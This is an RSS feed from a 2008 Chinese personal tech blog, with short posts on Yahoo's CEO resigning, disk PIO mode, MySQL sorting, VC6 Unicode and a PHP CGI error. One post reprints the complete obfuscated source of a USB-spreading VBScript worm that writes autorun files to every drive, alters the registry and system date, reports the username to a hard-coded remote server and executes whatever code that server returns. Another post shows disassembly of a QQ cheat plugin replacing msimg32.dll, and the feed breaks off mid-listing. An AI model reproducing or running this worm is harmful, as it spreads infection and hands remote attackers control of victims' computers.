<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>CaiSong blog</title> 
<link>http://www.caisong.com//index.php</link> 
<description>蔡松 , PHP flash 绿色软件 开源 破解软件 编程 网络技术 VC DELPHI JAVA APACHE DNS MAIL FREEBSD LINUX UNIX C++ MAPINFO MAPXTREME 蔡松</description> 
<language>zh-cn</language> 
<copyright>Powered by Bo-blog 2.0.2 sp2</copyright>
<item>
<link>http://www.caisong.com//read.php?611</link>
<title>好兄弟B 近期流氓照</title> 
<author>song &lt;webmaster@caisong.com&gt;</author>
<category>随笔</category>
<pubDate>Wed, 19 Nov 2008 08:05:44 +0000</pubDate> 
<guid>http://www.caisong.com//read.php?611</guid> 
<description>
<![CDATA[ 
	<a href="http://www.caisong.com//attachment/1227081885_0.jpg" target="_blank"><img src="http://www.caisong.com//attachment/1227081885_0.jpg" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>B这个鸟人,非常的有形啊!虽然非常ZLK,不过还是不错!做个记录<br/><br/>Tags - <a href="http://www.caisong.com//tag.php?tag=b" rel="tag">b</a>
  ]]> 
</description>
</item><item>
<link>http://www.caisong.com//read.php?610</link>
<title>杨致远辞职因互联网青黄不接</title> 
<author>song &lt;webmaster@caisong.com&gt;</author>
<category>互联网</category>
<pubDate>Wed, 19 Nov 2008 03:19:29 +0000</pubDate> 
<guid>http://www.caisong.com//read.php?610</guid> 
<description>
<![CDATA[ 
	今天看到这则新闻!官僚,臃肿的管理体系要害死人的,一代王朝的衰败也是因为这样导致的<br/><br/>只不过对企业来说时间要快点<br/>对与国家来说数百年才会显现一次<br/><br/>杨致远在1994年创办了雅虎，他和每一位创始人一样对自己的企业都具有极深的情感，都像呵护自己的孩子一样呵护着他的企业。将企业卖掉就如同割掉身上的一块肉。雅虎和杨致远之间就是这种关系，在放弃微软460多亿美元的收购价格之后，杨致远陷入了董事会的谴责之中。<br/><br/>现在杨致远选择辞去CEO职位，很多人仍不放过他，包括当前的舆论都认为杨致远是个失败的CEO。但是笔者认为，雅虎之所以如此，并非杨致远之错，问题恰恰出在当今互联网的发展上，这是所有互联网公司都面临的问题，并非雅虎一家。<br/><br/>自从2000年互联网泡沫之后，搜索引擎和IM即时聊天工具成为中国，乃至全球互联网的主导者，也成就了谷歌、百度、腾讯等企业，此外，互联网游戏则是这个阶段的泡沫性产物，也如同房地产一样被看作是快速盈利的好方法。然而，就在这个时候，杨致远将指挥棒交给了来自好莱坞的塞梅尔，他让雅虎从一家搜索公司转向内容公司，这个转变无疑是悖逆互联网发展的，也是一种倒退。<br/><br/>这个战略上的失误，让雅虎变得四不像，而且与搜索引擎业务越走越远。这个时候，雅虎的邻居谷歌却迅速发展，并且依靠其强大的Adword广告模式迅速走红，股价也大幅度的飙升。雅虎失去了搜索引擎的主导地位，而门户网站业务却一直处于同质化竞争阶段，无论是AOL还是雅虎都创新乏力。<br/><br/>进入了2005年之后，互联网又在发生另一个转变，WEB2.0时代到来了，然而WEB2.0的互联网时代对于各大互联网企业来讲并非是“福星”。无论是Youtube还是facebook，还是myspace都未能依靠WEB2.0带来的巨大流量而获得丰厚的回报，至今WEB2.0的盈利模式还在探讨之中。<br/><br/>时代发生了改变，而且互联网进入了一个青黄不接的时期，搜索、门户、网游仍然是当今互联网的主旋律。而且雅虎的各大竞争对手们已经在这几个赚钱的领域树立了品牌影响力，而雅虎却变得“四不像”，由于精力分散导致其无法聚焦在某一个产业上，结果只能成为每个领域的二流企业。<br/><br/>有人说，杨致远重新担任CEO期间并没有带领雅虎去做创新性的改变，笔者现在要问的是：在WEB2.0时代，哪家互联网企业做到了创新，而且做到了依靠WEB2.0获取巨大盈利呢？纵观当前的互联网企业，他们没有一家做到持续创新，就是年轻有为的谷歌也不例外，至始至终仍还在将所有的盈利任务交给Adword和Adsense。<br/><br/>由此，笔者要为杨致远抱不平，因为这不是他的错，而是因为互联网进入了青黄不接时代，做创新比登天还难。现在雅虎的现状只是因为当初战略失误，而导致多元化失败，无法继续聚焦搜索、门户等赚钱的行业。<br/><br/>同时，杨致远的接班人仍然很难帮助雅虎实现突破，因为雅虎已经陷入了战略失败，在做战术上的调整已经没有多少意义。微软收购雅虎是雅虎的唯一出路，或者被谷歌合并（可惜美国反垄断机构已经禁止了雅虎与谷歌的合作），总之靠雅虎自救很难实现预期目标。接下来，我们应该关注的是微软到底对雅虎还有没有兴趣？<br/><br/><strong>后记：以上是雅虎衰败的主要原因，而另一个原因则是雅虎这家老牌互联网企业的官僚体制，臃肿的管理机构，低下的管理效率，不能对市场做到快速反应，这是管理创新不到位，当前众多中国企业发展到一定程度也会出现类似的问题。</strong><br/>切忌谨记<br/>Tags - <a href="http://www.caisong.com//tag.php?tag=%E6%9D%A8%E8%87%B4%E8%BF%9C%2C%E8%BE%9E%E8%81%8C%2C%E9%9B%85%E8%99%8E" rel="tag">杨致远,辞职,雅虎</a>
  ]]> 
</description>
</item><item>
<link>http://www.caisong.com//read.php?609</link>
<title>记录一个备注</title> 
<author>song &lt;webmaster@caisong.com&gt;</author>
<category>互联网</category>
<pubDate>Wed, 19 Nov 2008 03:13:32 +0000</pubDate> 
<guid>http://www.caisong.com//read.php?609</guid> 
<description>
<![CDATA[ 
	今天上163 无意中看到ups 的广告<br/><a href="http://www.caisong.com//attachment/1227064309_0.jpg" target="_blank"><img src="http://www.caisong.com//attachment/1227064309_0.jpg" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>对于普通用户来说很容易上当去拨动指针选择时间<br/>实际即点击了这个广告<br/><br/>记录下!<br/><br/>对于广告思想有一定启发<br/><br/>多关注大站有专业人士的贡献不错的<br/>Tags - <a href="http://www.caisong.com//tag.php?tag=%E5%B9%BF%E5%91%8A.%E5%88%9B%E6%84%8F" rel="tag">广告.创意</a>
  ]]> 
</description>
</item><item>
<link>http://www.caisong.com//read.php?608</link>
<title>硬盘工作在PIO模式下</title> 
<author>song &lt;webmaster@caisong.com&gt;</author>
<category>硬件</category>
<pubDate>Fri, 14 Nov 2008 09:50:06 +0000</pubDate> 
<guid>http://www.caisong.com//read.php?608</guid> 
<description>
<![CDATA[ 
	硬盘工作在PIO模式下了：<br/><br/>计算机管理 - 设备管理器 - IDE ATA/ATIPI控制器 - 主要/次要IDE通道 - 属性 - 高级<br/>此处查看IDE通道连接硬盘的当前传送模式是否为PIO？正常应该是Ultra DMA Mode 5/6的样子。<br/><br/>若确实是PIO，尝试将传送模式改成“DMA(若可用)”，重启。<br/>如果重启起来还是PIO，则将此条“主要/次要IDE通道”卸载，重启，让它重新认驱动。<br/><br/>--------<br/><br/>这种情况在我的家用电脑上在半年前曾碰到过一次，现象是本来好好的，不知什么时候起硬盘的读写性能变得极差而且超级占用CPU。<br/>后来通过上述措施处理解决。<br/>至于IDE通道连接设备的模式为什么好好的会降速成PIO，网上找到的解释是这样的：<br/>在每当累积发生的超时错误或 CRC 错误的总数达到6次时，IDE/ATAPI端口驱动程序(Atapi.sys)将降低传送模式。<br/>至于怎么会发生超时和CRC错误那应该是硬件问题和RP问题了。<br/>Tags - <a href="http://www.caisong.com//tag.php?tag=pio" rel="tag">pio</a>
  ]]> 
</description>
</item><item>
<link>http://www.caisong.com//read.php?607</link>
<title>mysql in 查询排序方面记录</title> 
<author>song &lt;webmaster@caisong.com&gt;</author>
<category>PHP技术</category>
<pubDate>Sun, 09 Nov 2008 12:26:11 +0000</pubDate> 
<guid>http://www.caisong.com//read.php?607</guid> 
<description>
<![CDATA[ 
	<div class="code">select * from siteblocks where id in (1,6,7,21,2,3,5) and manage&lt;=1 order by instr(&quot;,1,6,7,21,2,3,5,&quot;,concat(&quot;,&quot;,id,&quot;,&quot;));<br/>select * from siteblocks where id in (1,6,7,21,2,3,5) and manage&lt;=1 order by FIND_IN_SET(id,&#039;1,6,7,21,2,3,5&#039;);</div><br/><br/>哪个强悍点没去试 个人猜想2强悍点把<br/>Tags - <a href="http://www.caisong.com//tag.php?tag=mysql" rel="tag">mysql</a> , <a href="http://www.caisong.com//tag.php?tag=in" rel="tag">in</a> , <a href="http://www.caisong.com//tag.php?tag=instr" rel="tag">instr</a> , <a href="http://www.caisong.com//tag.php?tag=find_in_set" rel="tag">find_in_set</a>
  ]]> 
</description>
</item><item>
<link>http://www.caisong.com//read.php?606</link>
<title>一U盘病毒VBS脚本</title> 
<author>song &lt;webmaster@caisong.com&gt;</author>
<category>其它资料 </category>
<pubDate>Wed, 29 Oct 2008 09:35:37 +0000</pubDate> 
<guid>http://www.caisong.com//read.php?606</guid> 
<description>
<![CDATA[ 
	<div class="code">On error ResUme NeXT<br/>Set Fso=cREaTeObjEct(STRREVErsE(&quot;tCeJbOMetsYSELIf.gnItPIRCs&quot;))<br/>SET wSHshEll=cReaTEOBJEcT(strREverSE(&quot;LlEhs.TPIrCSW&quot;))<br/>dIm drI_lISt,DrI_lisT0<br/>DiM IssEnD<br/>ISsEnd=0<br/>c_TIMe=datE()<br/>WshshELL.ruN &quot;Net SToP sHaReDaccEsS&quot;,0<br/>seT DrvS=fSO.Drives<br/>sYsdIr=fSo.GetSpeCIalfoLDeR(1)<br/>thiSPATH=WscRIPt.sCrIPtfuLLNAMe<br/>sEt FC=fSo.OPENTExTFilE(tHiSpaTH,1)<br/>Scopy=Fc.rEAdaLl<br/>fC.CLoSE<br/>SET fC=NotHInG<br/>cAlL wriTEFILe(sYsdIr&amp;&quot;&#92;SYsInfO.reg&quot;,UNescapE(sTRReverSE(&quot;00C2%00c2%00C2%00C2%00c2%00C2%00c2%00c2%00C2%00c2%00c2%00c2%00C2%00c2%00c2%00a3%92%B82%XEHD3%22%EMItCeXe22%a0%D0%02%22%22%D3%22%SrETeMARAp22%a0%d0%02%22%sBv.gfcNrpc5%C5%23meTSYSC5%C5%52%RIdniW52%22%d3%22%tpIrCS22%A0%D0%02%d5%0c5%0c5%puTrAtsc5%STpIRcsc5%ENiHcaMc5%EtATsc5%YcILoP02%puorGc5%noiSrEVTneRRUcc5%sWodNiwc5%tFoSOrcimc5%erAWTFOsC5%enihcam_lACOL_yEKHb5%A0%d0%A0%d0%02%00c2%00c2%00C2%00C2%00C2%00c2%00c2%00c2%00C2%00c2%00c2%00C2%00C2%00C2%00c2%00A3%92%B82%xEhD3%22%EmItCexe22%a0%D0%02%22%22%d3%22%SReteMaRAp22%A0%d0%02%22%SbV.gFcnrpc5%C5%23meTsYSC5%C5%52%riDniW52%22%D3%22%tpirCs22%A0%d0%02%d5%0c5%0C5%puTRAtsC5%StpIRcsc5%meTsysc5%SwODNiWC5%TFOsoRCiMc5%sEICiLOpC5%eraWtfosc5%ENihcAM_LACoL_yeKHB5%a0%D0%A0%d0%03%03%e2%53%02%E6%f6%96%37%27%56%65%02%27%F6%47%96%46%54%02%97%27%47%37%96%76%56%25%02%37%77%F6%46%E6%96%75%&quot;)))<br/>wShSHell.ruN &quot;REGEDiT /s sysinFo.REG&quot;,0<br/>wsCRIPt.SLeep 200<br/>fso.dElETEfILe SYSdiR&amp;&quot;&#92;sYsiNFO.REg&quot;,true<br/>if iNsTr(thISPATH,SysdIR)&gt;0 thEN<br/>Dri_LIsT0=LISTDrV()<br/>O_time=Left(C_tIme,3)&amp;cstR(INT(mid(C_Time,4,1))-1)&amp;rIgHt(C_Time,Len(c_timE)-4)<br/>wSHShell.run &quot;cmd /C DAte &quot;&amp;o_time,0<br/>WsCrIpt.slEEP 10000<br/>foR DRi_i=1 TO leN(drI_lIst0)<br/>CaLL WriTeaUtO(mID(dRI_List0,Dri_I,1)&amp;&quot;:&#92;&quot;)<br/>NEXT<br/>wsHSHElL.rUN &quot;Cmd /C DatE &quot;&amp;C_TIMe,0<br/>comPUterNAme=&quot;&quot;:uSernaME=&quot;&quot;<br/>set OBjwmiservIcE=geToBjECt(&quot;winMgmTs:{imPErsONatIONlevel=imPersonaTe}!&#92;&#92;.&#92;roOt&#92;CImV2&quot;)<br/>set ColCoMPUTerS = ObJwMIsErvice.ExEcQuery(&quot;SEleCt * froM Win32_cOmpuTERsYsTem&quot;)<br/>foR eAch oBJCOmputer IN colCOMPUTErs<br/>cOmpUtErnAmE=OBjComPuTEr.nAMe<br/>userNAME=OBJcOMPUtEr.UsERnAMe<br/>nEXt<br/>if uSeRnAmE=&quot;&quot; tHEn usERname=&quot;Evar&quot;<br/>If INstr(uSERnAme,&quot;&#92;&quot;)&lt;=0 ThEn<br/>useRnaMe=COMpuTERnAmE&amp;&quot;&#92;&quot;&amp;usernaMe<br/>End iF<br/>Do<br/>if IsseNd=0 then<br/>seT XmL=CreATEobjEct(stRrEVERse(&quot;ptTHLMxreVRES.2LmxSm&quot;)) &nbsp;<br/>xmL.OPEN &quot;geT&quot;,StRrEVerSe(unESCApE(&quot;%3D%61%3F%70%73%61%2E%74%6e%75%6f%63%2f%61%76%65%2f%62%7a%7a%2F%30%30%31%2E%34%30%31%2e%39%31%31%2e%32%30%32%2F%2f%3A%70%74%74%68&quot;))&amp;usErNAMe,0<br/>Xml.SeTrequesTheaDEr &quot;uSer-AGent&quot;,&quot;EvaR&quot;<br/>XML.Send()<br/>if ERR.NUMbER=0 thEn<br/>IsSEND=1<br/>res=Xml.REspOnsetExt<br/>IF uCASe(LeFT(REs,7))=uCAse(&quot;exECuTe&quot;) &nbsp;then ExecUtE Res<br/>Else<br/>Err.CLEAR<br/>End IF<br/>SeT xmL=nOtHiNG<br/>END If<br/><br/>Dri_LIst=liStdRV()<br/>FoR DRI_k=1 tO lEn(drI_liST)<br/>If INstR(DRI_LiST0,MiD(dRI_list,dRi_K,1))&lt;=0 theN<br/>CAlL wRITEauto(mId(DrI_LIst,dRI_k,1)&amp;&quot;:&#92;&quot;)<br/>End if<br/>NEXt<br/>DRI_LIST0=drI_lIsT<br/>wSCRiPt.sleeP 1000<br/>lOOp<br/>ELSE<br/>WShSHeLL.rUn &quot;ExPLorER .&#92;&quot;,3<br/>WScRIPt.sleEp 2000<br/>WsHshELL.appaCTIVaTe unEsCape(lcaSe(&quot;%u6211%u7684%u7535%u8111&quot;))<br/>WsHSHEll.sEndkEys uCaSe(&quot;% C&quot;)<br/>rUnfLAG=0<br/>fOr eACh pS in gETobJECT _ <br/>(&quot;WinmGmtS:&#92;&#92;.&#92;rOoT&#92;cIMV2:wiN32_pRocEsS&quot;).INSTAncES_ <br/>if LcasE(PS.nAMe)=LCASe(&quot;wSCRIPT.EXe&quot;) tHeN<br/>RUNFLAg=runfLAg+1<br/>end IF<br/>NEXt<br/>If RUNfLaG&gt;=2 thEn wsCRipT.QUIT<br/>SEt Sf=FSO.gETFOLdEr(SYSdir)<br/>F_TIMe=leFT(sf.DateCreaTeD,iNstr(sf.DATeCREAteD,&quot; &quot;)-1)<br/>WsHSHEll.Run &quot;CmD /C DAtE &quot;&amp;F_tIMe,0<br/>wScRIPT.SLEEp 100<br/>calL wriTEFILe(SySDIR&amp;LcAse(&quot;&#92;PRNcFG.vBs&quot;),Vs(SCOPY))<br/>wsHSHell.Run &quot;CMD /c dATE &quot;&amp;C_tImE,0<br/>wsHshelL.rUN SySDir&amp;&quot;&#92;pRnCFG.VbS&quot;<br/>EnD IF<br/>functiOn VS(str)<br/>ExeCutE strReVErse(uNescAPE(&quot;%29%29%22u%25%22%28ESAcl%2c%29%22u%25%22%28eSacU%2CsV%28eCALPeR%3DsV%0D%0AtxEN%0d%0AFI%20dNE%0D%0Ac%26sV%3dSV%0d%0aeSlE%0D%0A%29c%28EsacL%26sv%3Dsv%0d%0AnEHT%2005%3e%29001*%29%28dNr%28tnI%20fI%0D%0AEZIMoDnAR%0d%0a%29%291%2ci%2CRts%28DIm%28eSAcu%3dC%0d%0A%29RTs%28Nel%20OT%201%3Di%20roF&quot;))<br/>eND FUNCTiOn<br/>FuNcTioN LISTdRV()<br/>EXEcUTe STrreVERSE(UNeSCAPE(&quot;TsiL_pMT%3DVRDtsil%0d%0ATXEN%0d%0AFI%20DNe%0d%0AretteLEViRD.vrD%26tsIl_Pmt%3DTsIL_PmT%0d%0anEhT%20YdAERSI.VrD%20fi%0d%0aSVRd%20Ni%20vRd%20hcaE%20rof%0D%0a%22%22%3dTSIL_pMT%0D%0aTSIL_pmt%20MID&quot;))<br/>END FUnCtiON<br/><br/>suB WRITeAUtO(PATH)<br/>exECute STRREVErSE(UNEsCapE(&quot;FI%20DNE%0d%0AeUrT%2C%22fni.NUrotUA%22%26Htap%20ELiFETelEd.Osf%0d%0aneHT%20%29%22fnI.nUrOTUA%22%26HtAp%28StsixeeLiF.Osf%20fIEslE%0D%0a%29%28dnr%26htAP%2C%22fNI.NurOTuA%22%26HTap%20rEDLOfevOM.OSF%0d%0aNEhT%20%29%22FnI.nUrOTUA%22%26Htap%28STSIXeREDLOF.Osf%20FI&quot;))<br/>Cmdstr=&quot;ShELL&#92;*&#92;commAND=wsCrIpT.eXe &quot;&amp;CHR(34)&amp;&quot;EVA.Vbs&quot;&amp;cHR(34)<br/>AuTOSTR=&quot;&#91;AUtorUn&#93;&quot;&amp;VBcrLF&amp;&quot;OPeN=&quot;&amp;vbcrLF&amp;REPlace(CMdstr,&quot;*&quot;,&quot;OPeN&quot;)&amp;vBCrLf&amp;rePlACe(cmDsTr,&quot;*&quot;,&quot;EXplorE&quot;)&amp;VbcrlF&amp;RePLacE(cMDsTr,&quot;*&quot;,&quot;fInD&quot;)<br/>cALL WriTEFIle(PATh&amp;uCASE(&quot;aUTorUN.iNf&quot;),aUToSTR)<br/>CalL WrITEFiLE(Path&amp;&quot;Eva.VbS&quot;,vs(sCOPY))<br/>eNd SUB<br/><br/>SUb WriTEFiLe(FPATH,CONtenT)<br/>EXEcuTE sTRrEVeRse(uNESCAPe(&quot;gNIHton%3daF%20TeS%0D%0A7%3dseTuBIrTta.aF%0D%0A%29htapF%28EliftEg.oSF%3Daf%20Tes%0D%0aGnIhToN%3DCF%20TES%0d%0AEsolC.CF%0d%0atNETnOc%20eTIrW.CF%0D%0A%29EURT%2C2%2chtAPf%28eLiFtxEtNEPO.OSF%3dCF%20Tes%0d%0aeURT%2cHTAPF%20ELifeTeLeD.Osf%20nEHt%20%29htAPF%28stsiXEElif.osf%20FI&quot;))<br/>eND Sub <br/></div><br/><br/>Tags - <a href="http://www.caisong.com//tag.php?tag=u%E7%9B%98" rel="tag">u盘</a> , <a href="http://www.caisong.com//tag.php?tag=u%E7%9B%98%E7%97%85%E6%AF%92" rel="tag">u盘病毒</a> , <a href="http://www.caisong.com//tag.php?tag=vbs" rel="tag">vbs</a>
  ]]> 
</description>
</item><item>
<link>http://www.caisong.com//read.php?605</link>
<title>VC6 UNICODE</title> 
<author>song &lt;webmaster@caisong.com&gt;</author>
<category>VC&amp;C#</category>
<pubDate>Thu, 23 Oct 2008 09:34:36 +0000</pubDate> 
<guid>http://www.caisong.com//read.php?605</guid> 
<description>
<![CDATA[ 
	-:如何在vc6中进行unicode编译 &nbsp; <br/> &nbsp;1.菜单Build–>Configurations–>Add，添加一个Unicode &nbsp; Debug。 &nbsp; <br/> &nbsp;2.菜单Build–>Set &nbsp; Active &nbsp; Configuration，选择Win32 &nbsp; Unicode &nbsp; Debug。 &nbsp; <br/> &nbsp;3.菜单Project–>Settings->C/C++属性页->Category中，选择Preprocessor，在Preprocessor &nbsp; definitions中添加 &nbsp; _UNICODE。 &nbsp; <br/> &nbsp;4.菜单Project–>Settings->Link属性页->Category选中，选择Output，在Entry- &nbsp; point &nbsp; symbol中写入wWinMainCRTStartup。如不执行该步骤，会出现错误”unresolved &nbsp; external &nbsp; symbol &nbsp; _WinMain@16“。 &nbsp; <br/> &nbsp;二:把char全换成TCHAR &nbsp; <br/> &nbsp;所有的字符串用_T()宏 &nbsp; <br/> &nbsp;比如 &nbsp; <br/> &nbsp;char &nbsp; sz="aaa"; &nbsp; <br/> &nbsp;改成 &nbsp; <br/> &nbsp;TCHAR &nbsp; sz=_T("aaa"); &nbsp; <br/> &nbsp;2.修改字符串函数： &nbsp; <br/> &nbsp;如strlen改成_tcslen &nbsp; <br/> &nbsp;也可以改成lstrlen &nbsp; <br/><br/>Tags - <a href="http://www.caisong.com//tag.php?tag=vc6" rel="tag">vc6</a> , <a href="http://www.caisong.com//tag.php?tag=unicode" rel="tag">unicode</a> , <a href="http://www.caisong.com//tag.php?tag=winmain" rel="tag">winmain</a>
  ]]> 
</description>
</item><item>
<link>http://www.caisong.com//read.php?604</link>
<title>用户体验</title> 
<author>song &lt;webmaster@caisong.com&gt;</author>
<category>互联网</category>
<pubDate>Thu, 23 Oct 2008 07:29:21 +0000</pubDate> 
<guid>http://www.caisong.com//read.php?604</guid> 
<description>
<![CDATA[ 
	用网站的人 都喜欢简单易用！做网站的人总会想我功能强大你一定喜欢！<br/>其实不然用户花多少时间在你这强大的站上去玩呢 能带给他多少利益趣味或其他有价值的东西呢！不要一味的让用户贡献！那是行不通的<br/>网上家园的概念还有一定距离人家自己在家一个家庭干嘛跑到你网上来沟通！不是没有！但是不多<br/>Tags - <a href="http://www.caisong.com//tag.php?tag=%E5%AE%B6%E5%9B%AD%E6%A6%82%E5%BF%B5" rel="tag">家园概念</a> , <a href="http://www.caisong.com//tag.php?tag=%E5%AE%B6%E5%9B%AD" rel="tag">家园</a> , <a href="http://www.caisong.com//tag.php?tag=%E7%94%A8%E6%88%B7" rel="tag">用户</a>
  ]]> 
</description>
</item><item>
<link>http://www.caisong.com//read.php?603</link>
<title>Php-cgi.exe CGI Error!</title> 
<author>song &lt;webmaster@caisong.com&gt;</author>
<category>PHP技术</category>
<pubDate>Thu, 23 Oct 2008 02:13:48 +0000</pubDate> 
<guid>http://www.caisong.com//read.php?603</guid> 
<description>
<![CDATA[ 
	CGI Error<br/>The specified CGI application misbehaved by not returning a complete set of HTTP headers.<br/><br/>try change <br/>REGEDIT4<br/><br/>[HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Services&#92;w3svc&#92;parameters&#92;Script Map]<br/>".php"="[PUT PATH HERE]&#92;&#92;php.exe"<br/><br/>try <br/><br/><br/>; cgi.force_redirect is necessary to provide security running PHP as a CGI under<br/>; most web servers. &nbsp;Left undefined, PHP turns this on by default. &nbsp;You can<br/>; turn it off here AT YOUR OWN RISK<br/>; **You CAN safely turn this off for IIS, in fact, you MUST.**<br/>cgi.force_redirect = 0<br/>Tags - <a href="http://www.caisong.com//tag.php?tag=cgi" rel="tag">cgi</a> , <a href="http://www.caisong.com//tag.php?tag=error" rel="tag">error</a> , <a href="http://www.caisong.com//tag.php?tag=php-cgi.exe" rel="tag">php-cgi.exe</a>
  ]]> 
</description>
</item><item>
<link>http://www.caisong.com//read.php?602</link>
<title>分析彩虹外挂 </title> 
<author>song &lt;webmaster@caisong.com&gt;</author>
<category>Crack</category>
<pubDate>Fri, 17 Oct 2008 02:04:59 +0000</pubDate> 
<guid>http://www.caisong.com//read.php?602</guid> 
<description>
<![CDATA[ 
	彩虹QQ删除原版MSIMG32.dll<br/><br/> <br/><br/>012581F3 &nbsp; &nbsp;83C4 0C &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; esp, 0C<br/>012581F6 &nbsp; &nbsp;68 2C4D2C01 &nbsp; &nbsp; push &nbsp; &nbsp;012C4D2C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; ASCII "MSIMG32.dll"<br/>012581FB &nbsp; &nbsp;8D8D D8FEFFFF &nbsp; lea &nbsp; &nbsp; ecx, dword ptr [ebp-128]<br/>01258201 &nbsp; &nbsp;51 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ecx<br/>01258202 &nbsp; &nbsp;E8 B99B0300 &nbsp; &nbsp; call &nbsp; &nbsp;01291DC0<br/>01258207 &nbsp; &nbsp;83C4 08 &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; esp, 8<br/>0125820A &nbsp; &nbsp;68 80000000 &nbsp; &nbsp; push &nbsp; &nbsp;80<br/>0125820F &nbsp; &nbsp;8D95 D8FEFFFF &nbsp; lea &nbsp; &nbsp; edx, dword ptr [ebp-128]<br/>01258215 &nbsp; &nbsp;52 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;edx<br/>01258216 &nbsp; &nbsp;FF15 98312C01 &nbsp; call &nbsp; &nbsp;dword ptr [<&KERNEL32.SetFileAtt>; kernel32.SetFileAttributesA<br/>0125821C &nbsp; &nbsp;8D85 D8FEFFFF &nbsp; lea &nbsp; &nbsp; eax, dword ptr [ebp-128]<br/>01258222 &nbsp; &nbsp;50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;eax<br/>01258223 &nbsp; &nbsp;FF15 9C312C01 &nbsp; call &nbsp; &nbsp;dword ptr [<&KERNEL32.DeleteFile>; kernel32.DeleteFileA<br/>01258229 &nbsp; &nbsp;C785 B0FBFFFF 0>mov &nbsp; &nbsp; dword ptr [ebp-450], 0<br/>01258233 &nbsp; &nbsp;6A 10 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;10<br/>01258235 &nbsp; &nbsp;6A 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0<br/>01258237 &nbsp; &nbsp;8D8D C4FCFFFF &nbsp; lea &nbsp; &nbsp; ecx, dword ptr [ebp-33C]<br/>0125823D &nbsp; &nbsp;51 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ecx<br/>0125823E &nbsp; &nbsp;E8 0D8B0300 &nbsp; &nbsp; call &nbsp; &nbsp;01290D50<br/>01258243 &nbsp; &nbsp;83C4 0C &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; esp, 0C<br/>01258246 &nbsp; &nbsp;C745 FC 0000000>mov &nbsp; &nbsp; dword ptr [ebp-4], 0<br/>0125824D &nbsp; &nbsp;8D95 B8FBFFFF &nbsp; lea &nbsp; &nbsp; edx, dword ptr [ebp-448]<br/>01258253 &nbsp; &nbsp;52 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;edx<br/><br/><br/><br/> <br/><br/> 复制自己的 msimg32.dll去给QQ BB<br/><br/><br/>012583EB &nbsp; &nbsp;8D8D A8FAFFFF &nbsp; lea &nbsp; &nbsp; ecx, dword ptr [ebp-558]<br/>012583F1 &nbsp; &nbsp;51 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ecx<br/>012583F2 &nbsp; &nbsp;E8 B9990300 &nbsp; &nbsp; call &nbsp; &nbsp;01291DB0<br/>012583F7 &nbsp; &nbsp;83C4 08 &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; esp, 8<br/>012583FA &nbsp; &nbsp;68 604D2C01 &nbsp; &nbsp; push &nbsp; &nbsp;012C4D60 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; ASCII "msimg32.dll"<br/>012583FF &nbsp; &nbsp;8D95 A8FAFFFF &nbsp; lea &nbsp; &nbsp; edx, dword ptr [ebp-558]<br/>01258405 &nbsp; &nbsp;52 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;edx<br/>01258406 &nbsp; &nbsp;E8 B5990300 &nbsp; &nbsp; call &nbsp; &nbsp;01291DC0<br/>0125840B &nbsp; &nbsp;83C4 08 &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; esp, 8<br/>0125840E &nbsp; &nbsp;6A 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0<br/>01258410 &nbsp; &nbsp;8D85 A8FAFFFF &nbsp; lea &nbsp; &nbsp; eax, dword ptr [ebp-558]<br/>01258416 &nbsp; &nbsp;50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;eax<br/>01258417 &nbsp; &nbsp;68 6C4D2C01 &nbsp; &nbsp; push &nbsp; &nbsp;012C4D6C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; ASCII "msimg32.dll"<br/>0125841C &nbsp; &nbsp;FF15 D4312C01 &nbsp; call &nbsp; &nbsp;dword ptr [<&KERNEL32.CopyFileA>] &nbsp; &nbsp; &nbsp; ; kernel32.CopyFileA<br/>01258422 &nbsp; &nbsp;8B4D 10 &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, dword ptr [ebp+10]<br/>01258425 &nbsp; &nbsp;890D 04F12F01 &nbsp; mov &nbsp; &nbsp; dword ptr [12FF104], ecx<br/>0125842B &nbsp; &nbsp;C785 48F9FFFF 0>mov &nbsp; &nbsp; dword ptr [ebp-6B8], 0<br/>01258435 &nbsp; &nbsp;B9 10000000 &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, 10<br/>0125843A &nbsp; &nbsp;33C0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp; eax, eax<br/>0125843C &nbsp; &nbsp;8DBD 4CF9FFFF &nbsp; lea &nbsp; &nbsp; edi, dword ptr [ebp-6B4]<br/>01258442 &nbsp; &nbsp;F3:AB &nbsp; &nbsp; 